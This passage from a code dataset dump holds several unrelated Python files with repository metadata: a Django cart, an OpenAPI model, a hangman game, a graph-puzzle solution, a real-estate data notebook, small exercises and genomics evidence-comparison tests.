cart[str(product.id)]['product'] = product\n for item in cart.values():\n item['price'] = Decimal(item['price'])\n item['total_price'] = item['price'] * item['quantity']\n yield item\n\n def __len__(self):\n \"\"\"\n suma ilości produktów w koszyku\n :return: sum\n \"\"\"\n return sum(item['quantity'] for item in self.cart.values())\n\n def get_total_price(self):\n \"\"\"\n suma ceny za wszystkie produkty w koszyku\n :return: sum\n \"\"\"\n return sum(Decimal(item['price'])*item['quantity'] for item in self.cart.values())\n\n def clear(self):\n \"\"\"\n usunięcie koszyka na zakupy z sesji\n \"\"\"\n del self.session[settings.CART_SESSION_ID]\n self.save()","repo_name":"AnjaliRavenly/CoffeeTeaShop","sub_path":"myshop/cart/cart.py","file_name":"cart.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"4220095426","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime # noqa: F401\n\nfrom typing import List, Dict # noqa: F401\n\nfrom openapi_server.models.base_model_ import Model\nfrom openapi_server import util\n\n\nclass ExpenseRequest(Model):\n \"\"\"NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).\n\n Do not edit the class manually.\n \"\"\"\n\n def __init__(self, amount=None, date=None, content=None): # noqa: E501\n \"\"\"ExpenseRequest - a model defined in OpenAPI\n\n :param amount: The amount of this ExpenseRequest. # noqa: E501\n :type amount: int\n :param date: The date of this ExpenseRequest. # noqa: E501\n :type date: date\n :param content: The content of this ExpenseRequest. # noqa: E501\n :type content: str\n \"\"\"\n self.openapi_types = {\n 'amount': int,\n 'date': date,\n 'content': str\n }\n\n self.attribute_map = {\n 'amount': 'amount',\n 'date': 'date',\n 'content': 'content'\n }\n\n self._amount = amount\n self._date = date\n self._content = content\n\n @classmethod\n def from_dict(cls, dikt) -> 'ExpenseRequest':\n \"\"\"Returns the dict as a model\n\n :param dikt: A dict.\n :type: dict\n :return: The ExpenseRequest of this ExpenseRequest. # noqa: E501\n :rtype: ExpenseRequest\n \"\"\"\n return util.deserialize_model(dikt, cls)\n\n @property\n def amount(self):\n \"\"\"Gets the amount of this ExpenseRequest.\n\n 支出額 # noqa: E501\n\n :return: The amount of this ExpenseRequest.\n :rtype: int\n \"\"\"\n return self._amount\n\n @amount.setter\n def amount(self, amount):\n \"\"\"Sets the amount of this ExpenseRequest.\n\n 支出額 # noqa: E501\n\n :param amount: The amount of this ExpenseRequest.\n :type amount: int\n \"\"\"\n if amount is None:\n raise ValueError(\"Invalid value for `amount`, must not be `None`\") # noqa: E501\n if amount is not None and amount < 0: # noqa: E501\n raise ValueError(\"Invalid value for `amount`, must be a value greater than or equal to `0`\") # noqa: E501\n\n self._amount = amount\n\n @property\n def date(self):\n \"\"\"Gets the date of this ExpenseRequest.\n\n 支出日付 # noqa: E501\n\n :return: The date of this ExpenseRequest.\n :rtype: date\n \"\"\"\n return self._date\n\n @date.setter\n def date(self, date):\n \"\"\"Sets the date of this ExpenseRequest.\n\n 支出日付 # noqa: E501\n\n :param date: The date of this ExpenseRequest.\n :type date: date\n \"\"\"\n if date is None:\n raise ValueError(\"Invalid value for `date`, must not be `None`\") # noqa: E501\n\n self._date = date\n\n @property\n def content(self):\n \"\"\"Gets the content of this ExpenseRequest.\n\n 支出内容 # noqa: E501\n\n :return: The content of this ExpenseRequest.\n :rtype: str\n \"\"\"\n return self._content\n\n @content.setter\n def content(self, content):\n \"\"\"Sets the content of this ExpenseRequest.\n\n 支出内容 # noqa: E501\n\n :param content: The content of this ExpenseRequest.\n :type content: str\n \"\"\"\n if content is None:\n raise ValueError(\"Invalid value for `content`, must not be `None`\") # noqa: E501\n\n self._content = content\n","repo_name":"kawakawaryuryu/money-tracker-api-docs","sub_path":"python-flask/openapi_server/models/expense_request.py","file_name":"expense_request.py","file_ext":"py","file_size_in_byte":3540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"16078325589","text":"def isWordGuessed(secretWord, lettersGuessed):\n '''\n secretWord: string, the word the user is guessing\n lettersGuessed: list, what letters have been guessed so far\n returns: boolean, True if all the letters of secretWord are in lettersGuessed;\n False otherwise\n '''\n x = 0\n y = str('')\n while x < len(secretWord):\n if secretWord[x] in lettersGuessed:\n y+= secretWord[x]\n x+= 1\n else:\n break\n if len(y) != len(secretWord):\n return False\n elif len(y) == len(secretWord):\n return True\n\n\ndef getGuessedWord(secretWord, lettersGuessed):\n '''\n secretWord: string, the word the user is guessing\n lettersGuessed: list, what letters have been guessed so far\n returns: string, comprised of letters and underscores that represents\n what letters in secretWord have been guessed so far.\n '''\n x = 0\n y = str('')\n for x in range(0,len(secretWord)):\n if secretWord[x] in lettersGuessed:\n y+= secretWord[x]\n else:\n y+= str('_ ')\n x+= 1\n return str(y)\n\n\ndef getAvailableLetters(lettersGuessed):\n '''\n lettersGuessed: list, what letters have been guessed so far\n returns: string, comprised of letters that represents what letters have not\n yet been guessed.\n '''\n y = 0\n import string\n x = string.ascii_lowercase\n lettersGuessed.sort()\n z = x\n if lettersGuessed == []:\n return x\n for y in range(0,len(lettersGuessed)):\n if lettersGuessed[y] in x:\n z = z.replace(x[x.find(lettersGuessed[y])],str(''))\n if lettersGuessed[-1] not in z:\n return z\n\n\n\ndef hangman(secretWord):\n '''\n secretWord: string, the secret word to guess.\n\n Starts up an interactive game of Hangman.\n\n * At the start of the game, let the user know how many \n letters the secretWord contains.\n\n * Ask the user to supply one guess (i.e. letter) per round.\n\n * The user should receive feedback immediately after each guess \n about whether their guess appears in the computers word.\n\n * After each round, you should also display to the user the \n partially guessed word so far, as well as letters that the \n user has not yet guessed.\n\n Follows the other limitations detailed in the problem write-up.\n '''\n print('Welcome to the game, Hangman!')\n print('I am thinking of a word ' + str(len(secretWord)) + ' letters long.')\n numguesses = 8\n lettersGuessed = []\n while numguesses > 0:\n print('_________________')\n print('You have ') + str(numguesses) + str(' guesses left.')\n print('Available letters: ') + getAvailableLetters(lettersGuessed)\n g = raw_input('Please guess a letter: ')\n gx = list(g.lower())\n gy = secretWord.count(gx[0])\n if gx[0] in lettersGuessed:\n print(\"Oops! You've already guessed that letter: \") + getGuessedWord(secretWord, lettersGuessed)\n elif gx[0] in secretWord:\n lettersGuessed+= gx*gy\n print('Good guess: ') + getGuessedWord(secretWord, lettersGuessed)\n elif gx[0] not in secretWord:\n lettersGuessed+= gx\n numguesses-= 1\n print('Oops! That letter is not in my word: ') + getGuessedWord(secretWord, lettersGuessed)\n if isWordGuessed(secretWord, lettersGuessed) is True:\n print('_________________')\n return str('Congratulations, you won!')\n print('_________________')\n return str('Sorry, you ran out of guesses. The word was ') + str(secretWord)\n","repo_name":"zkourouma/EDX_six_hundred_x","sub_path":"hangman/hangman.py","file_name":"hangman.py","file_ext":"py","file_size_in_byte":3600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"28375536935","text":"class UnionFind:\n def __init__(self, n: int):\n self.parent = list(range(n))\n self.size = [1] * n\n \n def find(self, x):\n if x != self.parent[x]:\n self.parent[x] = self.find(self.parent[x])\n return self.parent[x]\n \n def union(self, x, y):\n rootX, rootY = self.find(x), self.find(y)\n if rootX == rootY:\n return\n if self.size[rootX] < self.size[rootY]:\n self.parent[rootX] = rootY\n self.size[rootY] += self.size[rootX]\n else:\n self.parent[rootY] = rootX\n self.size[rootX] += self.size[rootY]\n \n \nclass Solution:\n def minMalwareSpread(self, graph: List[List[int]], initial: List[int]) -> int:\n n = len(graph)\n uf = UnionFind(n)\n clean = list(set(range(n)) - set(initial))\n infectNode = defaultdict(set)\n infectedCount = Counter()\n maxCount, ans = 0, min(initial)\n \n for u, v in itertools.combinations(clean, 2):\n if graph[u][v]:\n uf.union(u, v)\n \n for u in initial:\n for v in clean:\n if graph[u][v]:\n infectNode[u].add(uf.find(v))\n for i in infectNode[u]:\n infectedCount[i] += 1\n \n for i, nodes in infectNode.items():\n count = 0\n for node in nodes:\n if infectedCount[node] == 1:\n count += uf.size[node]\n if count > maxCount or (count == maxCount and i < ans):\n maxCount = count\n ans = i\n return ans\n \n ","repo_name":"dreamjean/LeetCode-JavaScript","sub_path":"0928-minimize-malware-spread-ii/0928-minimize-malware-spread-ii.py","file_name":"0928-minimize-malware-spread-ii.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"184737569","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport __classic_import # noqa\nimport market.media_adv.incut_search.mt.env as env\n\n\nclass T(env.MediaAdvIncutSearchSuite):\n\n @classmethod\n def setUpClass(cls):\n \"\"\"\n переопределенный метод для дополнительного вызова настроек\n \"\"\"\n cls.settings.access_using = True\n super(T, cls).setUpClass()\n\n def test_json(self):\n response = self.media_adv_incut_search.request_json('hello?name=shiny user')\n self.assertFragmentIn(response, {\n \"greetings\": \"Hello, shiny user!\"\n })\n\n def test_text(self):\n response = self.media_adv_incut_search.request_text('hello?name=shiny user&format=text')\n self.assertFragmentIn(response, \"Hello, shiny user!\")\n\n\nif __name__ == '__main__':\n env.main()\n","repo_name":"Alexander-Berg/2022-test-examples-3","sub_path":"market/GENERAL/test_hello (4).py","file_name":"test_hello (4).py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10367197349","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport pandas as pd \nimport numpy as np\nimport matplotlib\nget_ipython().run_line_magic('matplotlib', 'inline')\nfrom matplotlib import pyplot as plt\nimport bs4 as bs\n\n\n# In[2]:\n\n\nimport requests\n#Analyzing the data and keeping whats necessary for us to prdict prices\n\n\n# In[3]:\n\n\ndf1 = pd.read_csv(\"blr_real_estate_prices.csv\")\n\n\n# In[4]:\n\n\ndf1\n\n\n# In[5]:\n\n\ndf1.shape\n\n\n# \n\n# In[6]:\n\n\ndf1.head()\n\n\n# In[7]:\n\n\ndf2= df1.drop([\"area_type\",\"availability\",\"society\",\"balcony\"],axis=\"columns\")\n\n\n# In[8]:\n\n\ndf2\n\n\n# In[9]:\n\n\ndf2.head()\n\n\n# In[10]:\n\n\ndf2.isnull()\n\n\n# In[11]:\n\n\ndf2.isnull().sum()\n\n\n# In[12]:\n\n\ndf3=df2.dropna()\ndf3.isnull().sum()\ndf3.head()\n\n\n# \n\n# In[13]:\n\n\ndf3[\"size\"].unique()\n\n\n# In[14]:\n\n\ndf3[\"BHK\"]=df3[\"size\"].apply(lambda x: int(x.split(' ')[0]))\n\n\n# In[15]:\n\n\ndf3\n\n\n# In[16]:\n\n\ndf3.drop([\"size\"],axis=\"columns\")\n\n\n# \n\n# In[17]:\n\n\ndf3[\"BHK\"].unique()\n\n\n# In[18]:\n\n\ndf3[df3.BHK>20]\n#DATA CLEANING\n\n\n# In[19]:\n\n\ndf3[\"total_sqft\"].unique()\n\n\n# In[20]:\n\n\ndef is_float(x):\n try:\n float(x)\n except:\n return False\n return True\n\n\n# In[21]:\n\n\ndf3[~df3[\"total_sqft\"].apply(is_float)].head(10)\n\n\n# In[22]:\n\n\ndef sqft_to_num(x):\n tokens= x.split('-')\n if len(tokens)==2:\n return (float(tokens[0])+float(tokens[1]))/2\n try:\n return float(x)\n except:\n return None \n\n\n# \n\n# In[ ]:\n\n\n\n\n\n# In[23]:\n\n\nsqft_to_num('131-142')\n\n\n# \n\n# In[24]:\n\n\ndf4=df3.copy()\n\n\n# In[25]:\n\n\ndf4 [\"total_sqft\"]=df4[\"total_sqft\"].apply(sqft_to_num)\n\n\n# In[26]:\n\n\ndf4.head()\n\n\n# In[27]:\n\n\ndf4[\"total_sqft\"].unique()\n\n\n# In[28]:\n\n\ndf4[\"Price _per_sqft\"]=df4[\"price\"]*100/df4[\"total_sqft\"]\n\n\n# In[29]:\n\n\ndf4\n\n\n# In[30]:\n\n\ndf5=df4.copy()\n\n\n# In[31]:\n\n\ndf5[\"location\"].unique()\n\n\n# In[32]:\n\n\nlen(df5[\"location\"].unique())\n\n\n# In[33]:\n\n\nlocation_stats=df5.groupby(\"location\")[\"location\"].agg(\"count\").sort_values(ascending=False)\n\n\n# In[34]:\n\n\nlocation_stats\n\n\n# In[35]:\n\n\nlen(location_stats[location_stats<10])\n \n\n\n# In[36]:\n\n\nlocation_less_than_10=location_stats[location_stats<=10]\n\n\n# In[37]:\n\n\ndef compact(x):\n if x in location_less_than_10:\n x=\"other\"\n return x\n \n\n\n# In[38]:\n\n\nlocation_less_than_10\n\n\n# In[39]:\n\n\ndef compact(x):\n if x in location_less_than_10:\n x=\"other\"\n return x \n\n\n# \n\n# In[40]:\n\n\ncompact(\"Kanakapura Rod\")\n\n\n# In[41]:\n\n\ndf6=df5.copy()\n\n\n# In[42]:\n\n\ndf6[\"location\"]=df6[\"location\"].apply(compact)\n\n\n# In[43]:\n\n\ndf6.head(20)\n\n\n# In[44]:\n\n\n#OUTLIER REMOVAL\ndf7=df6.drop([\"size\"],axis=\"columns\")\n\n\n# In[45]:\n\n\ndf7\n\n\n# In[46]:\n\n\ndf7[df7[\"total_sqft\"]/df7[\"BHK\"]<300].head()\n\n\n# In[47]:\n\n\ndf8=df7[df7[\"total_sqft\"]/df7[\"BHK\"]>300]\n\n\n# In[48]:\n\n\nlen(df8)\n\n\n# In[49]:\n\n\ndf8[\"Price _per_sqft\"].describe()\n\n\n# In[50]:\n\n\n#remove outliers, prices per location should lie bertween m+st and m-st\ndef remove_pps_outlier(sub_df):\n m=np.mean(sub_df[\"Price _per_sqft\"])\n st=np.std(sub_df[\"Price _per_sqft\"])\n new_df=sub_df[(sub_df[\"Price _per_sqft\"] >= (m-st)) & (sub_df[\"Price _per_sqft\"] <= (m+st)) ]\n return new_df\n \n \n\n\n# In[51]:\n\n\ndf9=pd.DataFrame()\ncount=0\nfor x,y in df8.groupby(\"location\"):\n #temp=remove_pps_outlier(y)\n #f9.append(temp)\n temp=remove_pps_outlier(y)\n df9=pd.concat([df9,temp], ignore_index=True)\n\n \n \n \n \n \n \n \n\n \n \n \n\n\n# In[52]:\n\n\ndf9\n\n\n# In[53]:\n\n\ndef plot(df,Location):\n bhk2=df[(df[\"location\"]==Location) & (df[\"BHK\"]==2)]\n bhk3=df[(df[\"location\"]==Location) & (df[\"BHK\"]==3)]\n plt.scatter(bhk2.total_sqft,bhk2[\"Price _per_sqft\"], label=\"2 BHK\")\n plt.scatter(bhk3.total_sqft,bhk3[\"Price _per_sqft\"], label=\"3 bhk\")\n plt.legend()\n \n\n\n# In[54]:\n\n\nplot(df9,\"7th Phase JP Nagar\")\n\n\n# In[55]:\n\n\nplot(df9,\"Rajaji Nagar\")\n\n\n# In[57]:\n\n\ndf10=df7.head(70)\n \n\n\n# In[58]:\n\n\ndf10\n\n\n# In[59]:\n\n\nblr_data = df10.to_csv('blr.csv', index = True)\nprint('\\nCSV String:\\n', blr_data)\n\n\n# In[65]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n# Generate x values from -10 to 10\ny = np.linspace(1, 6, 100)\n# Calculate y values using the equation y = 0.97x + 2.87\nx = 2.30*y - 2.98\n\n# Plot the line\nplt.scatter(x, y, label='x = 2.30y - 2.98')\n\n# Add labels and a legend\nplt.xlabel('x')\nplt.ylabel('y')\nplt.legend()\n\n# Display the plot\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"Dhruvv88/Real_Estate_Price_Prediction","sub_path":"real_estate_price_prediction.py","file_name":"real_estate_price_prediction.py","file_ext":"py","file_size_in_byte":4283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"22533680079","text":"n = int(input())\nd = [0] * 1000001\nd[1] = 1\nd[2] = 2\nfor i in range(3, n+1):\n d[i] = (d[i-1] + d[i-2]) % 15746\n\nprint(d[n])\n\n# 동적 프로그래밍은 점화식을 잘 짜는 것이 중요\n# 단순 수치가 피보나치 수열인 것보다는 n을 형성하는 방법의 가지수(방법)에 대한 고찰이 필요하다.\n# 해당문제에서는 타일을 왼쪽부터 오른쪽으로 이어붙인다고 가정했을때, i-1인경우에는 뒤에 1만 올수있고,\n# i-2인경우에 00타일만이 올 수있다.\n# 따라서 길이가 i인 수열을 형성하는 방법은 두가지뿐이다.\n# d[i] = d[i-1]+d[i-2]","repo_name":"Gi-Youn-Oh/jungle-week04","sub_path":"Giyoun/다이나믹프로그래밍/2_1904타일01.py","file_name":"2_1904타일01.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"7710569489","text":"while 1:\n right_answers = 0\n answers_count = 5\n\n print(\"Вы запустили викторину 'Актеры из Матрицы'!\")\n print(\"Викторина состоит из 5 вопросов. Вам необходимо будет угодать год рождения актера из фильма\")\n print(\"Итак, приступим!\")\n\n\n #1-й вопрос\n print(\"1-й вопрос!\")\n kianu = int(input(\"Введите дату рождения Киану Ривза: \"))\n #Верный ответ для Киану: 1964\n\n #2-й вопрос\n print(\"2-й вопрос!\")\n carrie = int(input(\"Введите дату рождения Кэрри-Энн Мосс: \"))\n #Верный ответ для Кэрри-Энн Мосс 1967\n\n #3-й вопрос\n print(\"3-й вопрос!\")\n laurence = int(input(\"Введите дату рождения Лоренса Фишбёрна: \"))\n #Верный ответ для Лоренса Фишбёрна 1961\n\n #4-й вопрос\n print(\"4-й вопрос!\")\n hugo = int(input(\"Введите дату рождения Хьюго Уивинга: \"))\n #Верный ответ для Хьюго Уивинга 1960\n\n #5-й вопрос\n print(\"5-й вопрос, последний!\")\n gloria = int(input(\"Введите дату рождения Глории Фостер: \"))\n #Верный ответ для Глории Фостер 1933\n\n print(\"Считаю баллы...\")\n print(\"_________________________________\")\n if kianu == 1964:\n right_answers += 1\n\n if carrie == 1967:\n right_answers += 1\n\n if laurence == 1961:\n right_answers += 1\n\n if hugo == 1960:\n right_answers += 1\n\n if gloria == 1933:\n right_answers += 1\n\n print(\"Вы ответили на\", answers_count, \"вопросов!\")\n print(\"Из них верно вы ответили на\", right_answers, \"вопросов!\")\n print(\"И ошиблись в\", answers_count - right_answers, \"вопросах!\")\n print(\"Процент правильных ответов:\", right_answers * 100 / answers_count, \"%\")\n print(\"Процент неправильных ответов:\", 100 - right_answers * 100 / answers_count, \"%\")\n\n replay = input(\"Хотите попробовать еще раз? y/n: \")\n if replay == \"n\":\n break\n elif replay == \"y\":\n continue","repo_name":"idrozhzh/PyHW2","sub_path":"victory.py","file_name":"victory.py","file_ext":"py","file_size_in_byte":2467,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"18341449577","text":"import sys\nimport os\nif __name__ == '__main__':\n rootDir = \"../../..\"\n sys.path = [os.path.join(rootDir, \"lib\"),\n os.path.join(rootDir, \"extern/pycbio/lib\")] + sys.path\nimport unittest\nfrom pycbio.sys.testCaseBase import TestCaseBase\nfrom pycbio.hgdata.psl import Psl\nfrom gencode_icedb.general.genome import GenomeReader\nfrom gencode_icedb.general.ucscGencodeSource import UcscGencodeReader\nfrom gencode_icedb.general.geneAnnot import geneAnnotGroup\nfrom gencode_icedb.general.evidFeatures import EvidencePslFactory\nfrom gencode_icedb.tsl.evidenceDataDb import evidenceAlignsReaderFactory\nfrom gencode_icedb.tsl.supportDefs import EvidenceType, EvidenceSupport\nfrom gencode_icedb.tsl.supportEval import tightExonPolymorphicSizeLimit, tightExonPolymorphicFactionLimit, EvidenceQualityEval, MegSupportEvaluator, FullLengthSupportEvaluator\nfrom gencode_icedb.tsl.supportEvalDb import SupportEvidEvalResult\n\n\ngenbankUuids = {\n EvidenceType.RNA: \"02c995e3-372c-4cde-b216-5d3376c51988\",\n EvidenceType.EST: \"fcfc5121-7e07-42f6-93a2-331a513eeb2c\",\n}\n\n\nclass EvidCompareTest(TestCaseBase):\n \"\"\"low-level comparison tests\"\"\"\n UCSC_DB = \"hg38\"\n EVIDENCE_DB_DIR = \"output/db/evidDb\"\n GENCODE_DB = \"output/db/gencode.db\"\n\n @classmethod\n def setUpClass(cls):\n cls.genomeReader = GenomeReader.getFromUcscDbName(cls.UCSC_DB)\n cls.gencodeReader = UcscGencodeReader(cls.GENCODE_DB, cls.genomeReader)\n cls.evidenceFactory = EvidencePslFactory(cls.genomeReader)\n cls.qualEval = EvidenceQualityEval(tightExonPolymorphicSizeLimit, tightExonPolymorphicFactionLimit)\n cls.evidenceReaders = {}\n cls.evaluators = {}\n for evidType in (EvidenceType.RNA, EvidenceType.EST):\n evidSetUuid = genbankUuids[evidType]\n cls.evidenceReaders[evidType] = evidenceAlignsReaderFactory(evidSetUuid, os.path.join(cls.EVIDENCE_DB_DIR, \"GenBank-\" + str(evidType) + \".psl.gz\"), cls.genomeReader)\n for allowExtension in (True, False):\n cls.evaluators[(evidType, allowExtension)] = MegSupportEvaluator(evidSetUuid, cls.qualEval, allowExtension=allowExtension)\n\n @classmethod\n def tearDownClass(cls):\n cls.genomeReader.close()\n cls.gencodeReader.close()\n for rdr in cls.evidenceReaders.values():\n rdr.close()\n\n @classmethod\n def _getEvaluator(cls, evidType, allowExtension):\n return cls.evaluators[(evidType, allowExtension)]\n\n def _getAnnot(self, transId):\n annots = self.gencodeReader.getByTranscriptIds(transId)\n if len(annots) == 0:\n raise Exception(\"annotation {} not found\".format(transId))\n return annots[0]\n\n def _pslToTrans(self, psl):\n return self.evidenceFactory.fromPsl(psl)\n\n def _evalAnnotTransEvid(self, annotTrans, evidType, evidNames=None, allowExtension=False):\n \"low-level testing of specific cases\"\n evaluator = self._getEvaluator(evidType, allowExtension)\n evidReader = self.evidenceReaders[evidType]\n try:\n evidReader.setNameSubset(evidNames) # could be None\n evidTranses = evidReader.genOverlapping(annotTrans.chrom, annotTrans.transcriptionStrand)\n for evidTrans in evidTranses:\n yield evaluator.compare(annotTrans, evidTrans)\n finally:\n # must finished reading for resetting, as this is a generator\n evidReader.setNameSubset(None)\n\n def _evalTest(self, geneAnnots, noDiff=False):\n \"Support evaluation testing with TSV\"\n outSupportTsv = self.getOutputFile(\".support.tsv\")\n outDetailsTsv = self.getOutputFile(\".details.tsv\")\n evaluatorRna = FullLengthSupportEvaluator(self.evidenceReaders[EvidenceType.RNA], self.qualEval)\n evaluatorEst = FullLengthSupportEvaluator(self.evidenceReaders[EvidenceType.EST], self.qualEval)\n with open(outSupportTsv, 'w') as evalTsvFh, open(outDetailsTsv, 'w') as detailsTsvFh:\n evaluatorRna.writeTsvHeaders(evalTsvFh, detailsTsvFh)\n for geneAnnot in geneAnnots:\n evaluatorRna.evaluateGeneTranscripts(geneAnnot, evalTsvFh, detailsTsvFh)\n evaluatorEst.evaluateGeneTranscripts(geneAnnot, evalTsvFh, detailsTsvFh)\n if not noDiff:\n self.diffFiles(self.getExpectedFile(\".support.tsv\"), outSupportTsv)\n self.diffFiles(self.getExpectedFile(\".details.tsv\"), outDetailsTsv)\n\n def _evalGeneTest(self, geneId):\n transAnnots = self.gencodeReader.getByGeneId(geneId)\n if len(transAnnots) == 0:\n raise Exception(\"no transcripts found for {}\".format(geneId))\n self._evalTest(geneAnnotGroup(transAnnots))\n\n def _evalTransTest(self, transId, noDiff=False):\n transAnnots = self.gencodeReader.getByTranscriptId(transId)\n if len(transAnnots) == 0:\n raise Exception(\"no transcripts found for {}\".format(transId))\n self._evalTest(geneAnnotGroup(transAnnots), noDiff)\n\n def testGAB4(self):\n self._evalGeneTest(\"ENSG00000215568.8\")\n\n def testBCR(self):\n self._evalGeneTest(\"ENSG00000186716.20\")\n\n def testIL17RA(self):\n self._evalGeneTest(\"ENSG00000177663.13\")\n\n def testSHOX(self):\n # PAR gene\n self._evalGeneTest(\"ENSG00000185960.14\")\n\n def testExtendWithTwoExonsOverInitial(self):\n # EST AA227241.1 has two 5' exons overlapping 5' exon, caused failure with allowExtension\n annotName = \"ENST00000489867.2\"\n evidName = \"AA227241.1\"\n results = tuple(self._evalAnnotTransEvid(self._getAnnot(annotName), EvidenceType.EST,\n evidNames=evidName, allowExtension=True))\n self.assertEqual((SupportEvidEvalResult('ENST00000489867.2', genbankUuids[EvidenceType.EST], 'AA227241.1', EvidenceSupport.feat_count_mismatch),),\n results)\n\n def _rawPslCmpr(self, annotTrans, evidRawPsl, allowExtension):\n evidTrans = self._pslToTrans(Psl.fromRow(evidRawPsl))\n evaluator = self._getEvaluator(EvidenceType.EST, allowExtension)\n return evaluator.compare(annotTrans, evidTrans)\n\n def testExact(self):\n # test allowExtension with fake psl that exactly matches\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"651\", \"0\", \"0\", \"0\", \"0\", \"0\", \"3\", \"14865\", \"+\", \"ENST00000477874.1_aln\", \"651\", \"0\", \"651\", \"chr22\", \"50818468\", \"17084953\", \"17100469\", \"4\", \"276,147,113,115,\", \"0,276,423,536,\", \"17084953,17097796,17098774,17100354,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.good)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.good)\n\n def testExtend5(self):\n # test allowExtension with fake psl on extended on 5 side\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"751\", \"0\", \"0\", \"0\", \"0\", \"0\", \"4\", \"15218\", \"+\", \"ENST00000477874.1_aln\", \"751\", \"0\", \"751\", \"chr22\", \"50818468\", \"17084500\", \"17100469\", \"5\", \"100,276,147,113,115,\", \"0,100,376,523,636,\", \"17084500,17084953,17097796,17098774,17100354,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_count_mismatch)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.extends_exons)\n\n def testExtend5Inexact(self):\n # test allowExtension with fake psl on extended on 5 side and 5'\n # annotated exon being shorter than evidence, which is not allowed\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"704\", \"0\", \"0\", \"0\", \"0\", \"0\", \"4\", \"15265\", \"+\", \"ENST00000477874.1_aln\", \"704\", \"0\", \"704\", \"chr22\", \"50818468\", \"17084500\", \"17100469\", \"5\", \"100,229,147,113,115,\", \"0,100,329,476,589,\", \"17084500,17085000,17097796,17098774,17100354,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_count_mismatch)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_mismatch)\n\n def testExtend3(self):\n # test allowExtension with fake psl on extended on 3' side\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"741\", \"0\", \"0\", \"0\", \"0\", \"0\", \"4\", \"14896\", \"+\", \"ENST00000477874.1_aln\", \"741\", \"0\", \"741\", \"chr22\", \"50818468\", \"17084953\", \"17100590\", \"5\", \"276,147,113,115,90,\", \"0,276,423,536,651,\", \"17084953,17097796,17098774,17100354,17100500,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_count_mismatch)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.extends_exons)\n\n def testExtend3Inexact(self):\n # test allowExtension with fake psl on extended on 3' side\n # and 3' annotated exon being shorter than evidence, which is\n # not allowed\n annotTrans = self._getAnnot(\"ENST00000477874.1\")\n evidRawPsl = [\"682\", \"0\", \"0\", \"0\", \"0\", \"0\", \"4\", \"15165\", \"+\", \"ENST00000477874.1_aln\", \"682\", \"0\", \"682\", \"chr22\", \"50818468\", \"17084953\", \"17100800\", \"5\", \"276,147,113,46,100,\", \"0,276,423,536,582,\", \"17084953,17097796,17098774,17100354,17100700,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, False)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_count_mismatch)\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_mismatch)\n\n def testExtend3Regression1(self):\n # The evidence has an additional 5' exon. The second to last annotation exon\n # mostly a single exon of BC071657.1, ending differently by one base.\n # This is followed by an annotations exon that is in an intron of the evidence.\n # This was incorrectly called as an extension. This is with the Ensembl\n # alignment, UCSC aligned differently.\n # annotation evidence\n # ... 11012670-11012743 5' extension\n # 11013715-11013965 11013715-11013965\n # 11016843-11017007 11016843-11017007\n # 11018732-11018873 11018732-11018873\n # 11020428-11020599 11020428-11020599\n # 11022123-11022241 11022123-11024042 different end\n # 11023192-11024183 ... in intron\n # ... 11034700-11034727\n # ... 11122510-11122529\n annotTrans = self._getAnnot(\"ENST00000315091.7\")\n evidRawPsl = [\"2763\", \"0\", \"0\", \"0\", \"0\", \"0\", \"8\", \"107096\", \"+\", \"BC071657.1\", \"2833\", \"0\", \"2763\", \"chr1\", \"248956422\", \"11012670\", \"11122529\", \"9\", \"73,250,164,141,171,1919,17,9,19,\", \"0,73,323,487,628,799,2718,2735,2744,\", \"11012670,11013715,11016843,11018732,11020428,11022123,11034700,11034718,11122510,\"]\n evidSupport = self._rawPslCmpr(annotTrans, evidRawPsl, True)\n self.assertEqual(evidSupport.support, EvidenceSupport.feat_mismatch)\n\n def testEst3Minus(self):\n annotTrans = 